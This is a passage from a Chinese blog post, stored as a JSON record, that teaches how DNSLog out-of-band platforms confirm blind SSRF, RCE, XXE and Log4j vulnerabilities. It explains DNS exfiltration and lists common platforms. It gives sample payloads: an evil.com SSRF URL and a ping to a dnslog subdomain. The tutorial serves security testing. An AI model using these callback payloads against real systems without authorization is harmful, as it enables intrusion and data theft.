{"id":239,"date":"2025-11-27T11:26:03","date_gmt":"2025-11-27T03:26:03","guid":{"rendered":"https:\/\/www.52runoob.com\/?p=239"},"modified":"2025-11-27T11:26:03","modified_gmt":"2025-11-27T03:26:03","slug":"%e3%80%90%e5%ae%89%e5%85%a8%e5%b7%a5%e5%85%b7%e3%80%91dnslog%e5%b7%a5%e5%85%b7%e5%8e%9f%e7%90%86%e6%90%ad%e5%bb%ba%e5%8f%8a%e4%bd%bf%e7%94%a8%ef%bc%88%e9%9d%9e%e5%b8%b8%e8%af%a6%e7%bb%86%ef%bc%89","status":"publish","type":"post","link":"https:\/\/www.52runoob.com\/index.php\/2025\/11\/27\/%e3%80%90%e5%ae%89%e5%85%a8%e5%b7%a5%e5%85%b7%e3%80%91dnslog%e5%b7%a5%e5%85%b7%e5%8e%9f%e7%90%86%e6%90%ad%e5%bb%ba%e5%8f%8a%e4%bd%bf%e7%94%a8%ef%bc%88%e9%9d%9e%e5%b8%b8%e8%af%a6%e7%bb%86%ef%bc%89\/","title":{"rendered":"\u3010\u5b89\u5168\u5de5\u5177\u3011DNSlog\u5de5\u5177\u539f\u7406\u642d\u5efa\u53ca\u4f7f\u7528\uff08\u975e\u5e38\u8be6\u7ec6\uff09\u96f6\u57fa\u7840\u5165\u95e8\u5230\u7cbe\u901a\uff0c\u6536\u85cf\u8fd9\u4e00\u7bc7\u5c31\u591f\u4e86"},"content":{"rendered":"\n

\u4e0b\u9762\u7ed9\u4f60\u4e00\u7bc7 \u6700\u8be6\u7ec6\u3001\u4ece\u539f\u7406\u5230\u642d\u5efa\u518d\u5230\u5b9e\u6218\u4f7f\u7528\u7684 DNSLog \u5de5\u5177\u6559\u7a0b<\/strong>\uff0c\u771f\u6b63\u505a\u5230\u96f6\u57fa\u7840\u2192\u7cbe\u901a\uff0c\u4e00\u7bc7\u5c31\u591f\u3002<\/p>\n\n\n\n

\u5185\u5bb9\u7ed3\u6784\u5982\u4e0b\uff1a<\/p>\n\n\n\n

    \n
  1. DNSLog \u662f\u4ec0\u4e48\uff1f\u4e3a\u4ec0\u4e48\u5b89\u5168\u6d4b\u8bd5\u79bb\u4e0d\u5f00\u5b83<\/li>\n\n\n\n
  2. DNS \u5916\u5e26\uff08DNS Exfiltration\uff09\u539f\u7406<\/li>\n\n\n\n
  3. DNSLog \u5de5\u4f5c\u539f\u7406\u56fe\u89e3<\/li>\n\n\n\n
  4. \u4e3b\u6d41 DNSLog \u5e73\u53f0\u4ecb\u7ecd<\/li>\n\n\n\n
  5. \u672c\u5730\/\u79c1\u6709\u5316 DNSLog \u642d\u5efa\uff08\u542b Docker\uff09<\/li>\n\n\n\n
  6. \u4f7f\u7528\u65b9\u6cd5\uff1a\u6f0f\u6d1e\u5229\u7528 + Payload \u793a\u4f8b<\/li>\n\n\n\n
  7. \u5e38\u89c1\u4f7f\u7528\u573a\u666f\uff08\u542b SSRF \/ RCE \/ Blind XXE \/ Log4j\uff09<\/li>\n\n\n\n
  8. \u5e38\u89c1\u95ee\u9898\u4e0e\u6392\u9519<\/li>\n\n\n\n
  9. \u7ed9\u4f60\u4e00\u4efd\u8d85\u5168 CheatSheet<\/li>\n<\/ol>\n\n\n\n
    \n\n\n\n

    1\ufe0f\u20e3 DNSLog \u662f\u4ec0\u4e48\uff1f<\/h1>\n\n\n\n

    DNSLog = \u4e00\u4e2a\u80fd\u8bb0\u5f55\u201c\u8c01\u6765\u89e3\u6790\u6211\u7684\u57df\u540d\u201d\u7684\u5e73\u53f0\u3002<\/p>\n\n\n\n

    \u5728\u5b89\u5168\u6d4b\u8bd5\u4e2d\uff0c\u7ecf\u5e38\u9047\u5230 \u76f2\u6253\u6f0f\u6d1e\uff08Blind Vulnerability\uff09<\/strong>\uff0c\u4e5f\u5c31\u662f\uff1a<\/p>\n\n\n\n

      \n
    • \u7a0b\u5e8f\u6267\u884c\u4e86\u6f0f\u6d1e Payload<\/li>\n\n\n\n
    • \u4f46\u6ca1\u6709\u54cd\u5e94\u8f93\u51fa<\/li>\n\n\n\n
    • \u4e5f\u6ca1\u6709\u62a5\u9519<\/li>\n\n\n\n
    • \u4e0d\u77e5\u9053\u662f\u5426\u6267\u884c\u6210\u529f<\/li>\n<\/ul>\n\n\n\n

      \u4f8b\u5982\uff1a<\/p>\n\n\n\n

        \n
      • Blind SSRF<\/li>\n\n\n\n
      • Blind RCE<\/li>\n\n\n\n
      • Blind SQL \u6ce8\u5165<\/li>\n\n\n\n
      • Blind XXE<\/li>\n\n\n\n
      • Log4j JNDI \u6ce8\u5165<\/li>\n<\/ul>\n\n\n\n

        \u8fd9\u4e9b\u573a\u666f\u90fd\u80fd\u8ba9\u6f0f\u6d1e\u6267\u884c\u5916\u5e26\u8bf7\u6c42\uff0c\u6bd4\u5982\uff1a
        DNS\u3001HTTP\u3001LDAP<\/strong><\/p>\n\n\n\n

        \u5176\u4e2d DNS \u6700\u5e38\u88ab\u4f7f\u7528\uff0c\u56e0\u4e3a\u5b83\uff1a<\/p>\n\n\n\n

        \u2714 \u4e0d\u9700\u8981 80\/443 \u7b49\u7aef\u53e3
        \u2714 \u57fa\u672c\u88ab\u6240\u6709\u670d\u52a1\u5668\u5141\u8bb8
        \u2714 \u4e0d\u53d7\u9632\u706b\u5899\u9650\u5236
        \u2714 \u4f20\u8f93\u7a33\u5b9a<\/p>\n\n\n\n

        \u6240\u4ee5\u53ea\u8981\u76ee\u6807\u89e6\u53d1\u4e86\u6f0f\u6d1e\uff0c\u4f1a\u5077\u5077\u5411\u6211\u4eec\u7684 DNSLog \u670d\u52a1\u5668\u89e3\u6790\u4e00\u4e2a\u57df\u540d\uff1a<\/p>\n\n\n

        \nxxx.&lt;random>.dnslog.cn\n\n<\/pre><\/div>\n\n\n
        \u6211\u4eec\u5728\u5e73\u53f0\u5c31\u80fd\u770b\u5230\u8bf7\u6c42\u8bb0\u5f55\uff0c\u4ece\u800c\u786e\u8ba4\u6f0f\u6d1e\u88ab\u6210\u529f\u5229\u7528\u3002<\/p>\n\n\n\n
        \n\n\n\n
        2\ufe0f\u20e3 DNS \u5916\u5e26\uff08DNS Exfiltration\uff09\u539f\u7406<\/h1>\n\n\n\n
        DNS \u8bf7\u6c42\u4f1a\u7ecf\u8fc7\u76ee\u6807\u670d\u52a1\u5668 \u2192 DNS \u9012\u5f52\u670d\u52a1\u5668 \u2192 \u6211\u4eec\u7684\u6743\u5a01 DNS\u3002<\/p>\n\n\n\n
        \u6d41\u7a0b\u56fe\uff1a<\/p>\n\n\n
        \n\u76ee\u6807\u670d\u52a1\u5668 \u2192 \u9012\u5f52DNS \u2192 DNSLog \u6743\u5a01\u670d\u52a1\u5668 \u2192 \u8fd4\u56de\u8bb0\u5f55\u7ed3\u679c\n\n<\/pre><\/div>\n\n\n
        DNSLog \u5e73\u53f0\u505a\u7684\u5c31\u662f\uff1a<\/p>\n\n\n\n
          \n
        • \u63d0\u4f9b\u4e00\u4e2a\u4f60\u72ec\u4eab\u7684\u968f\u673a\u57df\u540d<\/li>\n\n\n\n
        • \u76d1\u63a7\u6240\u6709\u5bf9\u8be5\u57df\u540d\u7684 DNS \u67e5\u8be2\u65e5\u5fd7<\/li>\n\n\n\n
        • \u5b9e\u65f6\u5c55\u793a\u5728\u63a7\u5236\u53f0<\/li>\n<\/ul>\n\n\n\n
          \u4f60\u53ea\u8981\u770b\u5230\u8bb0\u5f55 = \u6f0f\u6d1e\u6210\u529f\u89e6\u53d1\u3002<\/p>\n\n\n\n
          \n\n\n\n
          3\ufe0f\u20e3 DNSLog \u5de5\u4f5c\u539f\u7406\uff08\u56fe\u89e3\uff09<\/h1>\n\n\n\n
          \u2460 DNSLog \u7ed9\u4f60\u4e00\u4e2a\u5b50\u57df\u540d<\/h3>\n\n\n\n
          \u6bd4\u5982\uff1a<\/p>\n\n\n
          \nabcde.dnslog.cn\n\n<\/pre><\/div>\n\n\n
          \u2461 \u4f60\u6784\u9020 payload<\/h3>\n\n\n\n
          \u5982 SSRF\uff1a<\/p>\n\n\n
          \nhttp:\/\/evil.com\/?x=abcde.dnslog.cn\n\n<\/pre><\/div>\n\n\n
          \u6216 RCE\uff1a<\/p>\n\n\n
          \nping abcde.dnslog.cn\n\n<\/pre><\/div>\n\n\n
          \u2462 \u76ee\u6807\u540e\u53f0\u6267\u884c\u540e\u53d1\u8d77 DNS \u67e5\u8be2<\/h3>\n\n\n\n
          DNSLog \u6355\u83b7\u540e\u663e\u793a\uff1a<\/p>\n\n\n
          \n2025-11-27 10:23: 192.168.1.10 -> abcde.dnslog.cn\n\n<\/pre><\/div>\n\n\n
          \u4f60\u5c31\u77e5\u9053\u6f0f\u6d1e\u201c\u547d\u4e2d\u201d\u4e86\u3002<\/p>\n\n\n\n
          \n\n\n\n
          4\ufe0f\u20e3 \u4e3b\u6d41 DNSLog \u5e73\u53f0\u4ecb\u7ecd\uff08\u5efa\u8bae\u6536\u85cf\uff09<\/h1>\n\n\n\n
          \u5e73\u53f0<\/th>\u7279\u70b9<\/th><\/tr><\/thead>
          dnslog.cn<\/td>\u6700\u5e38\u7528\uff0c\u7b80\u5355\u7a33\u5b9a<\/td><\/tr>
          ceye.io<\/td>\u652f\u6301 DNS \/ HTTP \/ RMI\uff0c\u66f4\u5f3a\u5927<\/td><\/tr>
          interactsh (ProjectDiscovery)<\/td>\u81ea\u52a8\u5316\u6d4b\u8bd5\u795e\u5668\uff0c\u652f\u6301 API<\/td><\/tr>
          xip.io \/ nip.io<\/td>\u53ef\u6d4b\u8bd5 IP \u7ed1\u5b9a\u57df\u540d<\/td><\/tr>
          Burp Collaborator<\/td>\u4e13\u4e1a\u7ea7\uff0c\u9700\u8981 Burp Suite Pro<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n
          \u5efa\u8bae\uff1a<\/p>\n\n\n\n